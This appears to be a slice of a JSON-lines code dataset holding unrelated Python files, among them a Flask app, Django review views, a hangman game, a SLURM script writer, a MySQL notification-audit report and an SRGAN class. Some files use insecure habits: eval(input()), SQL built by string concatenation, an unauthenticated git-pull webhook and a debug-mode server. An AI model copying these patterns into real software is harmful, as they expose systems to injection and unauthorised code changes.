self.p.ChangeDutyCycle(self.duty_cycle_list[self.cur_state])\n #cmd = 'gpio -g {} {}'.format(self.SWITCH_PIN, value)\n #status, output = commands.getstatusoutput(cmd)\n self._log(1, 'current state: {}'.format(self.cur_state))\n time.sleep(0.5)\n\nif __name__ == '__main__':\n myCycler = Cycler()\n while True:\n myCycler.run()\n","sub_path":"cycle_backlight.py","file_name":"cycle_backlight.py","file_ext":"py","file_size_in_byte":1805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"244904834","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n#from py import primos\nfrom flask import Flask, request, render_template, jsonify\nfrom flask.wrappers import Response\nfrom py.prime import makePrime\nfrom galton import galtonboard\nimport git # GitPython library\nimport os\n\n\napp = Flask(__name__)\n\n#Route for the GitHub webhook\n@app.route('/git_update', methods=['POST'])\ndef git_update():\n repo = git.Repo('./orbe')\n origin = repo.remotes.origin\n repo.create_head('main', \n origin.refs.main).set_tracking_branch(origin.refs.main).checkout()\n origin.pull()\n return '', 200\n\n@app.route('/')\ndef index():\n print(os.getcwd())\n return render_template(\"index.html\")\n\n@app.route('/api1')\ndef api1():\n #JSON can be returned directlly like so:\n return jsonify({\"clave\":\"valor\"})\n\n@app.route('/api2')\ndef api2():\n #Or you can open a JSON file and serve it's contents\n file = open(\"./api/test.json\", \"rt\", encoding=\"utf-8\")\n archivoJson = file.readlines()\n file.close()\n print(archivoJson)\n return jsonify(archivoJson)\n\n@app.route('/prime', methods=[\"GET\",\"POST\"])\ndef primos():\n if request.method == 'POST':\n n=request.form[\"number\"]\n return render_template(\"prime.html\", list=makePrime(int(n)), title=\"First \"+n+\" prime numbers\")\n else:\n return render_template(\"prime.html\", list=\"\", title=\"First prime numbers\")\n\n@app.route('/galton', methods=[\"GET\",\"POST\"])\ndef glaton():\n if ((request.method=='POST') and (request.form[\"number\"]!=\"\") and (int(request.form[\"number\"])>1)):\n result=galtonboard(int(request.form[\"number\"]))\n print(result[1])\n return render_template(\"galton.html\",structure=result[0],URL=result[1])\n else:\n return render_template(\"galton.html\",URL=\"\")\n\n\nif __name__==\"__main__\":\n app.run(debug=True)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"478810664","text":"# -*- coding: utf-8 -*-\n# @Author: Climax\n# @Date: 2022-04-27 23:02:15\n# @Last Modified by: Climax\n# @Last Modified time: 2022-04-30 01:28:54\nimport sys\n\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QLabel, QPushButton, QTabWidget,)\n\nfrom layout_colorwidget import Color\n\nclass MainWindow(QMainWindow):\n\tdef __init__(self):\n\t\tsuper().__init__()\n\n\t\tself.setWindowTitle(\"Tabbed Edit + Box DEMO\")\n\n\t\ttabs = QTabWidget()\n\t\ttabs.setTabPosition(QTabWidget.West)\n\t\ttabs.setMovable(True)\n\n\t\tcolor_list = [\"red\", \"green\", \"blue\", \"yellow\"]\n\t\tfor n, color in enumerate(color_list):\n\t\t\ttabs.addTab(Color(color), color) # add color and the color name\n\n\t\tself.setCentralWidget(tabs)\n\n\napp = QApplication(sys.argv)\n\nwindow = MainWindow()\nwindow.show()\n\napp.exec_()","sub_path":"PyQt5-research/basic/layout/layout_9.py","file_name":"layout_9.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"302968474","text":"from django.core.urlresolvers import reverse\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate, login\nfrom django.contrib.auth import logout\nfrom django.db.models import Avg\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom .forms import DeleteProductForm, FlagReviewForm, ProductForm, ReviewForm, UserForm\nfrom .models import Product, Review\nfrom vaderSentiment.vaderSentiment import sentiment as vaderSentiment\n\ndef admin(request):\n if not request.user.is_authenticated():\n return render(request, 'login.html')\n else:\n form = DeleteProductForm\n products = Product.objects.all()\n context = {\n 'products': products,\n 'message': 'none',\n 'form': form\n }\n return render(request, 'admin.html', context)\n\ndef add_product(request):\n if not request.user.is_authenticated():\n return render(request, 'login.html')\n else:\n form = ProductForm(request.POST or None, request.FILES or None)\n if form.is_valid():\n product = form.save(commit=False)\n product.save()\n products = Product.objects.all()\n messages.success(request, 'Product added successfully')\n context = {\n 'products': products,\n }\n \n return redirect(reverse('admin'), context=context)\n\n else:\n context = {\n 'form': form\n }\n\n return render(request, 'add_product.html', context)\n\ndef create_review(request, product_id):\n form = ReviewForm(request.POST or None, request.FILES or None)\n product = get_object_or_404(Product, pk=product_id)\n product.average_score = product.review_set.aggregate(Avg('score')).get('score__avg', 0.00)\n if product.average_score != None:\n product.average_score = round(product.average_score, 1)\n if form.is_valid():\n review = form.save(commit=False)\n review.product = product\n review.review_text = form.cleaned_data['review_text']\n review.user = request.user\n s = vaderSentiment(review.review_text)\n if s['compound'] < 0:\n review.score = 5 - ((s['compound'] * -1) * 5)\n elif s['compound'] > 0:\n review.score = 5 + (s['compound'] * 5)\n else:\n review.score = 0\n\n review.save()\n product.average_score = product.review_set.aggregate(Avg('score')).get('score__avg', 0.00)\n if product.average_score != None:\n product.average_score = round(product.average_score, 1)\n product.save()\n\n context={\n 'product': product\n }\n\n return redirect(reverse('detail', kwargs={'product_id': product_id}), context=context)\n\n context = {\n 'product': product,\n 'form': form,\n }\n return render(request, 'create_review.html', context)\n\ndef delete_product(request):\n if not request.user.is_authenticated():\n return render(request, 'login.html')\n else:\n product_id = (str(request.POST.get('product_id')))\n product = get_object_or_404(Product, pk=product_id)\n\n if request.method == 'POST':\n form = DeleteProductForm(request.POST)\n\n if form.is_valid():\n product.delete()\n\n else:\n form = DeleteProductForm()\n\n products = Product.objects.all()\n messages.success(request, 'Product removed successfully')\n context = {\n 'products': products,\n 'form': form,\n }\n \n return redirect(reverse('admin'), context=context)\n\ndef detail(request, product_id):\n if not request.user.is_authenticated():\n return render(request, 'login.html')\n else:\n user = request.user\n product = get_object_or_404(Product, pk=product_id)\n\n return render(request, 'detail.html', {'product': product, 'user': user})\n\ndef edit_product(request):\n if not request.user.is_authenticated():\n return render(request, 'login.html')\n else:\n product_id = (str(request.GET.get('product_id')))\n product = get_object_or_404(Product, pk=product_id)\n form = ProductForm(request.POST or None, request.FILES or None, instance=product)\n\n if form.is_valid():\n product = form.save(commit=False)\n product.save()\n products = Product.objects.all()\n messages.success(request, 'Product edited successfully')\n context = {\n 'products': products,\n }\n \n return redirect(reverse('admin'), context=context)\n\n else:\n context = {\n 'form': form\n }\n\n return render(request, 'edit_product.html', context)\n\ndef flag_review(request, product_id):\n if not request.user.is_authenticated():\n return render(request, 'login.html')\n else:\n user = request.user\n product = get_object_or_404(Product, pk=product_id)\n review_id = (str(request.POST.get('review_id')))\n review = get_object_or_404(Review, pk=review_id)\n\n if request.method == 'POST':\n form = FlagReviewForm(request.POST)\n\n if form.is_valid():\n review.flag = True\n review.save()\n\n else:\n form = FlagReviewForm()\n \n context = {\n 'product': product,\n 'user': user\n }\n\n return redirect(reverse('detail', kwargs={'product_id': product_id}), context=context)\n\ndef index(request):\n if not request.user.is_authenticated():\n return render(request, 'login.html')\n else:\n products = Product.objects.all()\n return render(request, 'index.html', {'products': products})\n\ndef login_user(request):\n if request.method == \"POST\":\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n products = Product.objects.all()\n return render(request, 'index.html', {'products': products})\n else:\n return render(request, 'login.html', {'error_message': 'Your account has been disabled'})\n else:\n return render(request, 'login.html', {'error_message': 'Invalid login'})\n return render(request, 'login.html')\n\ndef logout_user(request):\n logout(request)\n form = UserForm(request.POST or None)\n context = {\n \"form\": form,\n }\n return render(request, 'login.html', context)\n\ndef register(request):\n form = UserForm(request.POST or None)\n if form.is_valid():\n user = form.save(commit=False)\n username = form.cleaned_data['username']\n password = form.cleaned_data['password']\n user.set_password(password)\n user.save()\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n products = Product.objects.all()\n return render(request, 'index.html', {'products': products})\n context = {\n \"form\": form,\n }\n return render(request, 'register.html', context)","sub_path":"src/product/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"325273653","text":"from random import choice\nfrom words import word_list\n\ndef get_letter():\n\n c = input(\"Guess a letter: \")\n \n if c.isalpha():\n return c.upper()\n else:\n print(\"Plese enter an alphabet!\")\n return get_letter()\n\ndef continue_or_not():\n \n c = input(\"Do you want to continue (Y|N)? \")\n \n if c.upper()=='Y':\n return True\n elif c.upper()=='N':\n return False\n else:\n print(\"Please enter a valid character!\")\n return continue_or_not()\n\ndef play():\n\n games_played = 0\n games_won = 0\n print(f\"\\n{7*'='} HANGMAN GAME {7*'='}\")\n print(\"Find the correct word to win the game.\")\n\n while True:\n games_played += 1\n key = choice(word_list).upper()\n chances = 6\n guesses = []\n word = \" \".join(list('_'*len(key)))\n \n while chances != 0:\n print(f\"\\nPrevious Guesses: {' '.join(guesses)}\")\n print(f\"Chances left: {chances}\")\n print(f\"Word: {word}\")\n \n c = get_letter()\n \n if c in key:\n if c in word:\n print(\"You already guessed this letter.\")\n else:\n print(f\"Whew! {c} is in the word.\")\n x = [i for i,value in enumerate(key) if value==c]\n word = word.split()\n for i in x:\n word[i] = c\n word = ' '.join(list(word))\n \n if str(''.join(word.split())) == key:\n games_won += 1\n print(f\"\\nCongrats!.You guessed {key} correctly.\")\n print(\"You won the game.\\n\")\n break\n else:\n if c in guesses:\n print(\"You already guessed this letter.\")\n else:\n print(f\"Oops! {c} is not in the word.\")\n guesses.append(c)\n chances -= 1\n \n if chances == 0:\n print(f\"\\nSorry!.You lose the game.\")\n print(f\"The correct word is {key}\\n\")\n \n check = continue_or_not()\n\n if check:\n continue\n else:\n print(\"\\nYou terminated the game...\")\n print(f\"Games Played: {games_played}\")\n print(f\"Games Won: {games_won}\")\n print(f\"Win Percentage: {round(games_won/games_played,2)*100}%\")\n print(\"Bye!\")\n break\n\nif __name__ == \"__main__\":\n play()","sub_path":"hangman_game/hangman_game.py","file_name":"hangman_game.py","file_ext":"py","file_size_in_byte":2554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"127742113","text":"import os\nimport shutil\nimport logging\nfrom barry.config import get_config\n\n\ndef write_jobscript_slurm(filename, name=None, num_tasks=24, num_concurrent=24, delete=False):\n config = get_config()\n directory = os.path.dirname(os.path.abspath(filename))\n executable = os.path.basename(filename)\n if name is None:\n name = executable[:-3]\n output_dir = directory + os.sep + \"out_files\"\n q_dir = directory + os.sep + \"job_files\"\n if not os.path.exists(q_dir):\n os.makedirs(q_dir, exist_ok=True)\n if delete and os.path.exists(output_dir):\n logging.debug(\"Deleting %s\" % output_dir)\n shutil.rmtree(output_dir)\n if not os.path.exists(output_dir):\n os.makedirs(output_dir, exist_ok=True)\n\n template = f\"\"\"#!/bin/bash -l\n#SBATCH -J {name}\n#SBATCH -p {config['job_partition']}\n#SBATCH --array=1-{num_tasks}%{num_concurrent}\n#SBATCH --ntasks=1\n#SBATCH --cpus-per-task={config['job_cpus_per_task']}\n#SBATCH --nodes=1\n#SBATCH --mem={config['job_memory']}\n#SBATCH -t {config['job_walltime_limit']}\n#SBATCH -o {output_dir}/{name}.o%j\n\nIDIR={directory}\nconda deactivate\nconda activate {config[\"job_conda_env\"]}\necho $PATH\necho \"Activated python\"\nexecutable=$(which python)\necho $executable\n\nPROG={executable}\nPARAMS=`expr ${{SLURM_ARRAY_TASK_ID}} - 1`\ncd $IDIR\nsleep $((RANDOM % 5))\n$executable $PROG $PARAMS\n\"\"\"\n\n n = \"%s/%s.q\" % (q_dir, executable[: executable.index(\".py\")])\n with open(n, \"w\") as f:\n f.write(template)\n logging.info(\"SLURM Jobscript at %s\" % n)\n return n\n","sub_path":"barry/doJob.py","file_name":"doJob.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"234077777","text":"from dateutil.relativedelta import relativedelta\nimport mysql.connector\nimport HtmlTestRunner\nimport datetime\nimport unittest\nimport json\n\nclass dbconnection(unittest.TestCase):\n def test_getconnection(self):\n with open('../JSONFile/Environment-Variables.json') as env_data:\n env_details = json.load(env_data)\n\n mydb = mysql.connector.connect(\n host=env_details[\"host\"],\n user=env_details[\"user\"],\n passwd=env_details[\"passwd\"]\n )\n\n\n mycursor = mydb.cursor()\n mycursor.execute(\"SELECT v.notification_subscription_id,c.application_name,c.application_id,c.notification_endpoint,v.status FROM gsialerting.notification_subscription v LEFT JOIN connect.application c ON v.application_id = c.application_id WHERE v.status='ENABLED' AND v.community_id=\"+env_details[\"com_id\"]+\" AND c.community_id=\"+env_details[\"com_id\"]+\";\")\n output = mycursor.fetchall()\n notification_endpoint = []\n subscription_id = []\n application_name = []\n\n for i in range(len(output)):\n subscription_id.append(output[i][0])\n application_name.append(output[i][1])\n notification_endpoint.append(output[i][3])\n\n q = notification_endpoint\n t = subscription_id\n an = application_name\n\n mycursor = mydb.cursor()\n mycursor.execute(\"SELECT v.notification_subscription_id,v.NOTIFICATION_TYPE_ID,c.NOTIFICATION_NAME FROM gsialerting.notification_subscription v LEFT JOIN gsialerting.notification_type c on v.NOTIFICATION_TYPE_ID = c.NOTIFICATION_TYPE_ID WHERE v.community_id=\"+env_details[\"com_id\"]+\" AND v.status='ENABLED';\")\n output1 = mycursor.fetchall()\n notification_name = []\n\n for notify_name in range(len(output1)):\n notification_name.append(output1[notify_name][2])\n\n names = notification_name\n\n\n a = datetime.datetime.now().date() # Current Date\n b = datetime.datetime.now().date() + relativedelta(months=-3) # Minus Three months\n\n print(\"
COMMUNITY_ID : \" + env_details[\"com_id\"] + \"
\" + \"HOSTNAME : \" + env_details[\"host\"] + \"
\" + \"USERNAME : dinesh.netaji
\")\n print(\"

Notification Audit Monitoring '\" + str(b) + \"' to '\" + str(a) + \"'

\")\n print(\"\")\n print(\"\")\n for j in range(len(q)):\n mycursor.execute(\"SELECT COUNT(DISPOSITION) FROM gsialerting.notification_audit WHERE creation_date_time BETWEEN '\" + str(b) + \"' AND '\" + str(a) + \"' AND NOTIFICATION_SUBSCRIPTION_ID = \" + str(t[j]) + \" AND ENDPOINT = '\" + q[j] + \"' AND DISPOSITION='SUCCESS';\")\n output_1 = mycursor.fetchall()\n disposition = []\n for k in range(len(output_1)):\n disposition.append(output_1[k][0])\n r = disposition\n r1 = 0\n for x in r:\n r1 += x\n\n\n for l in range(len(q)):\n mycursor.execute(\"SELECT COUNT(DISPOSITION) FROM gsialerting.notification_audit WHERE creation_date_time BETWEEN '\" + str(b) + \"' AND '\" + str(a) + \"' AND NOTIFICATION_SUBSCRIPTION_ID = \" + str(t[j]) + \" AND ENDPOINT = '\" + q[j] + \"' AND DISPOSITION='FAILURE';\")\n output_1 = mycursor.fetchall()\n disposition = []\n for k in range(len(output_1)):\n disposition.append(output_1[k][0])\n r = disposition\n r2 = 0\n for y in r:\n r2 += y\n\n for m in range(len(q)):\n mycursor.execute(\"SELECT COUNT(*) FROM gsialerting.notification_audit WHERE creation_date_time BETWEEN '\" + str(b) + \"' AND '\" + str(a) + \"' AND NOTIFICATION_SUBSCRIPTION_ID = \" + str(t[j]) + \" AND ENDPOINT = '\" + q[j] + \"' AND ISNULL(DISPOSITION);\")\n output_1 = mycursor.fetchall()\n disposition = []\n for k in range(len(output_1)):\n disposition.append(output_1[k][0])\n r = disposition\n r3 = 0\n for z in r:\n r3 += z\n\n n = r1 + r2 + r3\n print(\"\")\n print(\"
Subscripition_ID
Application_Name
Notification_Name
Notification_End_Point
SUCCESSFAILURENULLTOTAL
\"+str(t[j])+\"\"+an[j]+\"\"+names[j]+\"\"+q[j]+\"\"+str(r1)+\"\"+str(r2)+\"\"+str(r3)+\"\"+str(n)+\"
\")\n\nif __name__ == \"__main__\":\n unittest.main(testRunner=HtmlTestRunner.HTMLTestRunner(output=\"../Report\",combine_reports=True,report_name=\"Notification_EndPoint_Verification\",report_title=\"Notification_EndPoint_Disposition_Value\"))\n","sub_path":"TestFile/NotificationMonitoring.py","file_name":"NotificationMonitoring.py","file_ext":"py","file_size_in_byte":5817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"119400867","text":"# c3e3_molecular_weight.py\n# Joseph King\n\ndef main():\n\n print(\"This program computes the molecular weight of a\\n\" +\n \"carbohydrate, based on the number of Hydrogen, Carbon\\n\" +\n \"and Oxygen atoms in a molecule of the compound.\\n\")\n\n hydrogen = eval(input(\"How many Hydrogen atoms? \"))\n carbon = eval(input(\"How many Carbon atoms? \"))\n oxygen = eval(input(\"How many Oxygen atoms? \"))\n\n hWeight = 1.00794\n cWeight = 12.0107\n oWeight = 15.9994\n\n totalWeight = (hydrogen * hWeight) + (carbon * cWeight) + (oxygen * oWeight)\n \n print()\n print(\"The molecular weight is\", round(totalWeight, 5))\n \nmain()\n","sub_path":"c3e3_molecular_weight.py","file_name":"c3e3_molecular_weight.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"254765410","text":"from pandas import read_csv\nfrom sklearn.model_selection import KFold\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.linear_model import LogisticRegression\nfileName = \"pima-indians-diabetes.data.csv\"\ncolNames = [\"preg\", \"plas\", \"pres\", \"skin\", \"test\", \"mass\", \"pedi\", \"age\", \"class\"]\ndata = read_csv(fileName, names=colNames)\narray = data.values\nX = array[:, 0:8]\nY = array[:, 8]\nseed = 7\nmodel = LogisticRegression()\nkFold = KFold(n_splits=10, random_state=seed)\nresults = cross_val_score(model, X, Y, scoring=\"accuracy\", cv=kFold)\nprint(\"Classification Accuracy ---->\")\nprint(\"Ratio : %.3f\" % (results.mean()))\nprint(\"Mean : %.3f\" % (results.mean()*100))\nprint(\"Standard Deviation : %.3f\" % (results.std()*100))","sub_path":"Algorithm_Evaluation_Metrics/Classification Metrics/Classification_Accuracy.py","file_name":"Classification_Accuracy.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"524115073","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jan 23 11:12:43 2015\r\n\r\n@author: Ian\r\n\"\"\"\r\n\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport seaborn as sns\r\nfrom collections import OrderedDict as odict\r\n\r\n\r\n\r\n#*********************************************\r\n# Set up plotting defaultsfrom helper_functions import calc_posterior, plot_run\r\n\r\n#*********************************************\r\n\r\nfont = {'family' : 'normal',\r\n 'weight' : 'normal',\r\n 'size' : 20,\r\n }\r\n \r\naxes = {'titleweight' : 'bold'\r\n }\r\nplt.rc('font', **font)\r\nplt.rc('axes', **axes)\r\n\r\nsave = False\r\nplot = False\r\nfitting = True\r\n\r\n#*********************************************\r\n# Load Data\r\n#*********************************************\r\ndata_dir = \"D:\\\\Ian\"\r\ndata_dir = \"/mnt/Data/Ian\"\r\ntry:\r\n bias2_fit_dict = pickle.load(open('Analysis_Output/bias2_parameter_fits.p', 'rb'))\r\nexcept:\r\n bias2_fit_dict = {}\r\ntry:\r\n bias1_fit_dict = pickle.load(open('Analysis_Output/bias1_parameter_fits.p', 'rb'))\r\nexcept:\r\n bias1_fit_dict = {}\r\ntry:\r\n eoptimal_fit_dict = pickle.load(open('Analysis_Output/eoptimal_parameter_fits.p', 'rb'))\r\nexcept:\r\n eoptimal_fit_dict = {}\r\ntry:\r\n ignore_fit_dict = pickle.load(open('Analysis_Output/ignore_parameter_fits.p', 'rb'))\r\nexcept:\r\n ignore_fit_dict = {}\r\ntry:\r\n midline_fit_dict = pickle.load(open('Analysis_Output/midline_parameter_fits.p', 'rb'))\r\nexcept:\r\n midline_fit_dict = {}\r\ntry:\r\n switch_fit_dict = pickle.load(open('Analysis_Output/switch_parameter_fits.p', 'rb'))\r\nexcept:\r\n switch_fit_dict = {}\r\n \r\n \r\ntrain_files = glob.glob(data_dir + '/Mega/IanE_RawData/Prob_Context_Task/RawData/*Context_20*yaml')\r\ntest_files = glob.glob(data_dir + '/Mega/IanE_RawData/Prob_Context_Task/RawData/*Context_test*yaml')\r\n\r\ngtest_learn_df = pd.DataFrame.from_csv('Analysis_Output/gtest_learn_df.csv')\r\ngtest_df = pd.DataFrame.from_csv('Analysis_Output/gtest_df.csv')\r\nsubj = 30\r\ntest_dfa = gtest_df[gtest_df['id'] == subj]\r\n#*********************************************\r\n# Generic Experimental Settings\r\n#*********************************************\r\n\r\nbehav_sum['train_len'] = len(train_dfa)\r\nbehav_sum['test_len'] = len(test_dfa)\r\n\r\n#*********************************************\r\n# Performance\r\n#********************************************* \r\n\r\n#accuracy is defined in relation to the ideal observer\r\nbehav_sum['train_ts1_acc'], behav_sum['train_ts2_acc'] = list(train_dfa.groupby('ts').conform_opt_observer.mean())\r\nbehav_sum['test_ts1_acc'], behav_sum['test_ts2_acc'] = list(test_dfa.groupby('ts').conform_opt_observer.mean())\r\n\r\n#Very course estimate of learning: is there a change in performance over trials?\r\n#Threshold p < .01, and if so, what direction?\r\nlearn_direct = []\r\nfor sub in [train_dfa, test_dfa]:\r\n logit = sm.Logit(sub['conform_opt_observer'], sm.add_constant(sub[['trial_count']]))\r\n result = logit.fit()\r\n learn_direct.append(int(result.pvalues[1]<.01) * np.sign(result.params[1]))\r\nbehav_sum['learning?'] = learn_direct\r\n\r\nbehav_sum['TS2_percent'] = test_dfa.groupby('context').subj_ts.mean()\r\n\r\n#*********************************************\r\n# Switch costs \r\n#*********************************************\r\n\r\n#RT difference when switching to either action of a new task-set\r\nTS_switch_cost = np.mean(test_dfa.query('subj_switch == True')['rt']) - np.mean(test_dfa.query('subj_switch == False')['rt'])\r\n#RT difference when switching to the other action within a task-set\r\nswitch_resp_cost = np.mean(test_dfa.query('rep_resp == False and subj_switch != True')['rt']) - np.mean(test_dfa.query('rep_resp == True')['rt'])\r\nTS_minus_resp_switch_cost = TS_switch_cost - switch_resp_cost\r\nbehav_sum['Switch_cost'] = TS_minus_resp_switch_cost\r\n\r\n#*********************************************\r\n# Switch Analysis\r\n#*********************************************\r\n#Count the number of times there was a switch to each TS for each context value\r\nswitch_counts = odict()\r\nswitch_counts['ignore_observer'] = test_dfa.query('ignore_observer_switch == True').groupby(['ignore_observer_choices','context']).trial_count.count().unstack(level = 0)\r\nswitch_counts['subject'] = test_dfa.query('subj_switch == True').groupby(['subj_ts','context']).trial_count.count().unstack(level = 0)\r\nswitch_counts['opt_observer'] = test_dfa.query('opt_observer_switch == True').groupby(['opt_observer_choices','context']).trial_count.count().unstack(level = 0)\r\ntry:\r\n switch_counts['fit_observer'] = test_dfa.query('fit_observer_switch == True').groupby(['fit_observer_choices','context']).trial_count.count().unstack(level = 0)\r\nexcept:\r\n print(\"No fit observer!\")\r\n\r\n#normalize switch counts by the ignore rule. The ignore rule represents\r\n#the number of switches someone would make if they switched task-sets\r\n#every time the stimuli's position crossed the ignore to that position\r\nnorm_switch_counts = odict()\r\nfor key in switch_counts:\r\n empty_df = pd.DataFrame(index = np.unique(test_dfa.context), columns = [0,1])\r\n empty_df.index.name = 'context'\r\n empty_df.loc[switch_counts[key].index] = switch_counts[key]\r\n switch_counts[key] = empty_df\r\n norm_switch_counts[key] = switch_counts[key].div(switch_counts['ignore_observer'],axis = 0)\r\n\r\nbehav_sum['switch_counts'] = switch_counts['subject']\r\nbehav_sum['ts2_side'] = ts2_side\r\nbehav_sum['norm_switch_counts'] = norm_switch_counts['subject']\r\n\r\n#*********************************************\r\n# linear fit of RT based on different factors\r\n#*********************************************\r\n\r\n#absolute context\r\nresult = sm.GLS(np.log(test_dfa.rt),sm.add_constant(test_dfa.abs_context)).fit()\r\nbehav_sum['context->rt'] = result.params[1] * int(result.pvalues[1]<.05)\r\n\r\n#optimal model confidence\r\nresult = sm.GLS(np.log(test_dfa.rt),sm.add_constant(test_dfa.opt_certainty)).fit()\r\nprint(result.summary())\r\n\r\ntry:\r\n result = sm.GLS(np.log(test_dfa.rt),sm.add_constant(test_dfa.fit_certainty)).fit()\r\n print(result.summary())\r\nexcept:\r\n print(\"No fit observer!\")\r\n \r\n\r\n#*********************************************\r\n# Models\r\n#*********************************************\r\n\r\nmodel_subj_compare = test_dfa[['subj_ts','fit_observer_posterior', 'opt_observer_posterior', 'ignore_observer_posterior']].corr()\r\n\r\nfit_log_posterior = np.sum(np.log([abs(test_dfa.subj_ts.loc[i] - (1-test_dfa.opt_observer_posterior.loc[i])) for i in test_dfa.index]))\r\nmidline_rule_log_posterior = np.sum(np.log([abs(test_dfa.subj_ts.loc[i] - (1-abs(test_dfa.ignore_observer_choices.loc[i]-.2))) for i in test_dfa.index]))\r\n\r\n\r\n#*********************************************\r\n# Plotting\r\n#*********************************************\r\n\r\n\r\nif plot == True:\r\n contexts = np.unique(test_dfa.context)\r\n figdims = (16,12)\r\n fontsize = 20\r\n \r\n plotting_dict = odict()\r\n plotting_dict['ignore'] = ['ignore_observer_posterior', 'r','base rate neglect']\r\n plotting_dict['eoptimal'] = ['eoptimal_observer_posterior', 'm','eoptimal']\r\n plotting_dict['bias2'] = ['bias2_observer_posterior', 'c','bias2']\r\n \r\n #bias2 much better fit than optimal, incorporates bias\r\n sub_id = '041'\r\n sub = gtest_df[gtest_df['id'] == int(sub_id)]\r\n sub = sub[250:400]\r\n p1 = plt.figure(figsize = figdims)\r\n plot_run(sub,plotting_dict, exclude = ['bias2','eoptimal'], fontsize = 20)\r\n p1.savefig('../Plots/Subj_Plots/' + sub_id + '_1.png', format = 'png', dpi = 300)\r\n p2 = plt.figure(figsize = figdims)\r\n plot_run(sub,plotting_dict, exclude = ['bias2'], fontsize = 20)\r\n p2.savefig('../Plots/Subj_Plots/' + sub_id + '_2.png', format = 'png', dpi = 300)\r\n p3 = plt.figure(figsize = figdims)\r\n plot_run(sub,plotting_dict, fontsize = 20)\r\n p3.savefig('../Plots/Subj_Plots/' + sub_id + '_3.png', format = 'png', dpi = 300)\r\n \r\n #equivalent fit\r\n sub_id = '058'\r\n sub = gtest_df[gtest_df['id'] == int(sub_id)]\r\n sub = sub[250:400]\r\n p1 = plt.figure(figsize = figdims)\r\n plot_run(sub,plotting_dict, exclude = ['bias2','eoptimal'], fontsize = 20)\r\n p1.savefig('../Plots/Subj_Plots/' + sub_id + '_1.png', format = 'png', dpi = 300)\r\n p2 = plt.figure(figsize = figdims)\r\n plot_run(sub,plotting_dict, exclude = ['bias2'], fontsize = 20)\r\n p2.savefig('../Plots/Subj_Plots/' + sub_id + '_2.png', format = 'png', dpi = 300)\r\n p3 = plt.figure(figsize = figdims)\r\n plot_run(sub,plotting_dict, fontsize = 20)\r\n p3.savefig('../Plots/Subj_Plots/' + sub_id + '_3.png', format = 'png', dpi = 300)\r\n \r\n #bias2 better fit, more extreme values\r\n sub_id = '085'\r\n sub = gtest_df[gtest_df['id'] == int(sub_id)]\r\n sub = sub[250:400]\r\n p1 = plt.figure(figsize = figdims)\r\n plot_run(sub,plotting_dict, exclude = ['bias2','eoptimal'], fontsize = 20)\r\n p1.savefig('../Plots/Subj_Plots/' + sub_id + '_1.png', format = 'png', dpi = 300)\r\n p2 = plt.figure(figsize = figdims)\r\n plot_run(sub,plotting_dict, exclude = ['bias2'], fontsize = 20)\r\n p2.savefig('../Plots/Subj_Plots/' + sub_id + '_2.png', format = 'png', dpi = 300)\r\n p3 = plt.figure(figsize = figdims)\r\n plot_run(sub,plotting_dict, fontsize = 20)\r\n p3.savefig('../Plots/Subj_Plots/' + sub_id + '_3.png', format = 'png', dpi = 300)\r\n \r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"Behavioral_task/Analysis/Subject_Analysis.py","file_name":"Subject_Analysis.py","file_ext":"py","file_size_in_byte":9275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"164812839","text":"from __future__ import print_function, division\nimport os\nimport sys\nimport datetime\nimport numpy as np\nimport matplotlib.pyplot as plt\n# keras libs\nfrom keras.optimizers import Adam\nfrom keras.applications import VGG19\nfrom keras.models import Sequential, Model\nfrom keras.layers.convolutional import UpSampling2D, Conv2D\nfrom keras.layers.advanced_activations import PReLU, LeakyReLU\nfrom keras.layers import BatchNormalization, Activation, ZeroPadding2D, Add\nfrom keras.layers import Input, Dense, Reshape, Flatten, Dropout, Concatenate\nimport keras.backend as K\n\nclass SRGAN_model():\n def __init__(self, lr_shape, hr_shape, SCALE=4):\n # Input shapes\n self.SCALE = SCALE # SCALE = 2/4/8\n self.lr_shape, self.hr_shape = lr_shape, hr_shape\n self.lr_width, self.lr_height, self.channels = lr_shape\n self.hr_width, self.hr_height, _ = hr_shape\n # Number of residual blocks in the generator\n self.n_residual_blocks = 16\n optimizer = Adam(0.0002, 0.5)\n # We use a pre-trained VGG19 model to extract image features from the high resolution\n # and the generated high resolution images and minimize the mse between them\n self.vgg = self.build_vgg()\n self.vgg.trainable = False\n self.vgg.compile(loss='mse', optimizer=optimizer, metrics=['accuracy'])\n # Calculate output shape of D (PatchGAN)\n patch = int(self.hr_height / 2**4)\n self.disc_patch = (30, 40, 1)\n # Number of filters in the first layer of G and D\n self.gf = 64\n self.df = 64\n # Build and compile the 